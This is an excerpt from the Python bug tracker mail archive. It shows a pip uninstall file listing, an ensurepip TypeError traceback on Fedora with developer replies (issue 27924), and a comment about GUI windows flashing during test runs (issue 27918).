/usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/pyopenssl.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/pyopenssl.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/exceptions.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/exceptions.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/fields.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/fields.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/filepost.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/filepost.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/ordered_dict.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/ordered_dict.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/six.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/six.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/ssl_match_hostname/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/ssl_match_hostname/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/ssl_match_hostname/_implementation.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/packages/ssl_match_hostname/_implementation.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/poolmanager.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/poolmanager.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/request.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/request.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/response.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/response.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/__init__.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/__init__.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/connection.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/connection.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/request.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/request.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/response.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/response.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/retry.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/retry.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/ssl_.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/ssl_.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/timeout.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/timeout.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/url.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/url.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/sessions.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/sessions.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/status_codes.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/status_codes.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/structures.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/structures.pyc /usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.py /usr/lib/python2.7/site-packages/pip/_vendor/requests/utils.pyc /usr/lib/python2.7/site-packages/pip/_vendor/retrying.py /usr/lib/python2.7/site-packages/pip/_vendor/retrying.pyc /usr/lib/python2.7/site-packages/pip/_vendor/six.py /usr/lib/python2.7/site-packages/pip/_vendor/six.pyc /usr/lib/python2.7/site-packages/pip/basecommand.py /usr/lib/python2.7/site-packages/pip/basecommand.pyc /usr/lib/python2.7/site-packages/pip/baseparser.py /usr/lib/python2.7/site-packages/pip/baseparser.pyc /usr/lib/python2.7/site-packages/pip/cmdoptions.py /usr/lib/python2.7/site-packages/pip/cmdoptions.pyc /usr/lib/python2.7/site-packages/pip/commands/__init__.py /usr/lib/python2.7/site-packages/pip/commands/__init__.pyc /usr/lib/python2.7/site-packages/pip/commands/completion.py /usr/lib/python2.7/site-packages/pip/commands/completion.pyc /usr/lib/python2.7/site-packages/pip/commands/freeze.py /usr/lib/python2.7/site-packages/pip/commands/freeze.pyc /usr/lib/python2.7/site-packages/pip/commands/help.py /usr/lib/python2.7/site-packages/pip/commands/help.pyc /usr/lib/python2.7/site-packages/pip/commands/install.py /usr/lib/python2.7/site-packages/pip/commands/install.pyc /usr/lib/python2.7/site-packages/pip/commands/list.py /usr/lib/python2.7/site-packages/pip/commands/list.pyc /usr/lib/python2.7/site-packages/pip/commands/search.py /usr/lib/python2.7/site-packages/pip/commands/search.pyc /usr/lib/python2.7/site-packages/pip/commands/show.py /usr/lib/python2.7/site-packages/pip/commands/show.pyc /usr/lib/python2.7/site-packages/pip/commands/uninstall.py /usr/lib/python2.7/site-packages/pip/commands/uninstall.pyc /usr/lib/python2.7/site-packages/pip/commands/wheel.py /usr/lib/python2.7/site-packages/pip/commands/wheel.pyc /usr/lib/python2.7/site-packages/pip/compat/__init__.py /usr/lib/python2.7/site-packages/pip/compat/__init__.pyc /usr/lib/python2.7/site-packages/pip/compat/dictconfig.py /usr/lib/python2.7/site-packages/pip/compat/dictconfig.pyc /usr/lib/python2.7/site-packages/pip/download.py /usr/lib/python2.7/site-packages/pip/download.pyc /usr/lib/python2.7/site-packages/pip/exceptions.py /usr/lib/python2.7/site-packages/pip/exceptions.pyc /usr/lib/python2.7/site-packages/pip/index.py /usr/lib/python2.7/site-packages/pip/index.pyc /usr/lib/python2.7/site-packages/pip/locations.py /usr/lib/python2.7/site-packages/pip/locations.pyc /usr/lib/python2.7/site-packages/pip/models/__init__.py /usr/lib/python2.7/site-packages/pip/models/__init__.pyc /usr/lib/python2.7/site-packages/pip/models/index.py /usr/lib/python2.7/site-packages/pip/models/index.pyc /usr/lib/python2.7/site-packages/pip/operations/__init__.py /usr/lib/python2.7/site-packages/pip/operations/__init__.pyc /usr/lib/python2.7/site-packages/pip/operations/freeze.py /usr/lib/python2.7/site-packages/pip/operations/freeze.pyc /usr/lib/python2.7/site-packages/pip/pep425tags.py /usr/lib/python2.7/site-packages/pip/pep425tags.pyc /usr/lib/python2.7/site-packages/pip/req/__init__.py /usr/lib/python2.7/site-packages/pip/req/__init__.pyc /usr/lib/python2.7/site-packages/pip/req/req_file.py /usr/lib/python2.7/site-packages/pip/req/req_file.pyc /usr/lib/python2.7/site-packages/pip/req/req_install.py /usr/lib/python2.7/site-packages/pip/req/req_install.pyc /usr/lib/python2.7/site-packages/pip/req/req_set.py /usr/lib/python2.7/site-packages/pip/req/req_set.pyc /usr/lib/python2.7/site-packages/pip/req/req_uninstall.py /usr/lib/python2.7/site-packages/pip/req/req_uninstall.pyc /usr/lib/python2.7/site-packages/pip/status_codes.py /usr/lib/python2.7/site-packages/pip/status_codes.pyc /usr/lib/python2.7/site-packages/pip/utils/__init__.py /usr/lib/python2.7/site-packages/pip/utils/__init__.pyc /usr/lib/python2.7/site-packages/pip/utils/appdirs.py /usr/lib/python2.7/site-packages/pip/utils/appdirs.pyc /usr/lib/python2.7/site-packages/pip/utils/build.py /usr/lib/python2.7/site-packages/pip/utils/build.pyc /usr/lib/python2.7/site-packages/pip/utils/deprecation.py /usr/lib/python2.7/site-packages/pip/utils/deprecation.pyc /usr/lib/python2.7/site-packages/pip/utils/filesystem.py /usr/lib/python2.7/site-packages/pip/utils/filesystem.pyc /usr/lib/python2.7/site-packages/pip/utils/logging.py /usr/lib/python2.7/site-packages/pip/utils/logging.pyc /usr/lib/python2.7/site-packages/pip/utils/outdated.py /usr/lib/python2.7/site-packages/pip/utils/outdated.pyc /usr/lib/python2.7/site-packages/pip/utils/ui.py /usr/lib/python2.7/site-packages/pip/utils/ui.pyc /usr/lib/python2.7/site-packages/pip/vcs/__init__.py /usr/lib/python2.7/site-packages/pip/vcs/__init__.pyc /usr/lib/python2.7/site-packages/pip/vcs/bazaar.py /usr/lib/python2.7/site-packages/pip/vcs/bazaar.pyc /usr/lib/python2.7/site-packages/pip/vcs/git.py /usr/lib/python2.7/site-packages/pip/vcs/git.pyc /usr/lib/python2.7/site-packages/pip/vcs/mercurial.py /usr/lib/python2.7/site-packages/pip/vcs/mercurial.pyc /usr/lib/python2.7/site-packages/pip/vcs/subversion.py /usr/lib/python2.7/site-packages/pip/vcs/subversion.pyc /usr/lib/python2.7/site-packages/pip/wheel.py /usr/lib/python2.7/site-packages/pip/wheel.pyc Proceed (y/n)? y Successfully uninstalled pip-7.1.2 You are using pip version 8.1.0, however version 8.1.2 is available. You should consider upgrading via the 'pip install --upgrade pip' command. $ sudo python -m pip uninstall pip /bin/python: No module named pip $ sudo python -m ensurepip Traceback (most recent call last): File "/usr/lib64/python2.7/runpy.py", line 174, in _run_module_as_main "__main__", fname, loader, pkg_name) File "/usr/lib64/python2.7/runpy.py", line 72, in _run_code exec code in run_globals File "/usr/lib64/python2.7/ensurepip/__main__.py", line 4, in ensurepip._main() File "/usr/lib64/python2.7/ensurepip/__init__.py", line 248, in _main default_pip=args.default_pip, File "/usr/lib64/python2.7/ensurepip/__init__.py", line 110, in bootstrap new_whl = rewheel.rewheel_from_record(dr, rewheel_dir) File "/usr/lib64/python2.7/ensurepip/rewheel/__init__.py", line 75, in rewheel_from_record to_write, to_omit = get_records_to_pack(site_dir, record_relpath) TypeError: 'NoneType' object is not iterable $ python --version Python 2.7.12 $ dnf info python-pip Installed Packages Name : python-pip Arch : noarch Epoch : 0 Version : 8.0.2 Release : 1.fc24 Size : 7.1 M Repo : @System Summary : A tool for installing and managing Python packages URL : http://www.pip-installer.org License : MIT Description : Pip is a replacement for `easy_install : `_. It uses mostly the : same techniques for finding packages, so packages that were made : easy_installable should be pip-installable as well. ---------- components: Library (Lib) messages: 274089 nosy: jayvdb priority: normal severity: normal status: open title: ensurepip raises TypeError after pip uninstall type: crash versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 23:21:15 2016 From: report at bugs.python.org (Ned Deily) Date: Thu, 01 Sep 2016 03:21:15 +0000 Subject: [issue27924] ensurepip raises TypeError after pip uninstall In-Reply-To: <1472698976.68.0.784480763699.issue27924@psf.upfronthosting.co.za> Message-ID: <1472700075.4.0.524919536039.issue27924@psf.upfronthosting.co.za> Ned Deily added the comment: You used "pip uninstall" to uninstall the Fedora-supplied pip (/usr/bin/pip)? That would be a really *bad* thing to do. And does Fedora supply a modified ensurepip / pip? What happens if you try this with a vanilla Python 3.5.x built from source? My initial reaction is that there is nothing Python can do about this and probably not pip either. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 23:21:28 2016 From: report at bugs.python.org (Ned Deily) Date: Thu, 01 Sep 2016 03:21:28 +0000 Subject: [issue27924] ensurepip raises TypeError after pip uninstall In-Reply-To: <1472698976.68.0.784480763699.issue27924@psf.upfronthosting.co.za> Message-ID: <1472700088.0.0.0293118957267.issue27924@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +dstufft, ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 23:28:08 2016 From: report at bugs.python.org (Ned Deily) Date: Thu, 01 Sep 2016 03:28:08 +0000 Subject: [issue27924] ensurepip raises TypeError after pip uninstall In-Reply-To: <1472698976.68.0.784480763699.issue27924@psf.upfronthosting.co.za> Message-ID: <1472700488.83.0.708694257328.issue27924@psf.upfronthosting.co.za> Ned Deily added the comment: Sorry, 2.7.12 built from source. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 23:48:24 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 01 Sep 2016 03:48:24 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472701704.27.0.576884873468.issue27918@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I completely agree that we should not check that gui works unless and until it is requested. Can you write a patch to do the switch? My point was that even when I request gui, I still don't want to see the flash. I do TDD for test files as well as app files and I may run tests 10s of times in a day. I will be happy to have that be a bit less stressful. ---------- _______________________________________ Python tracker _______________________________________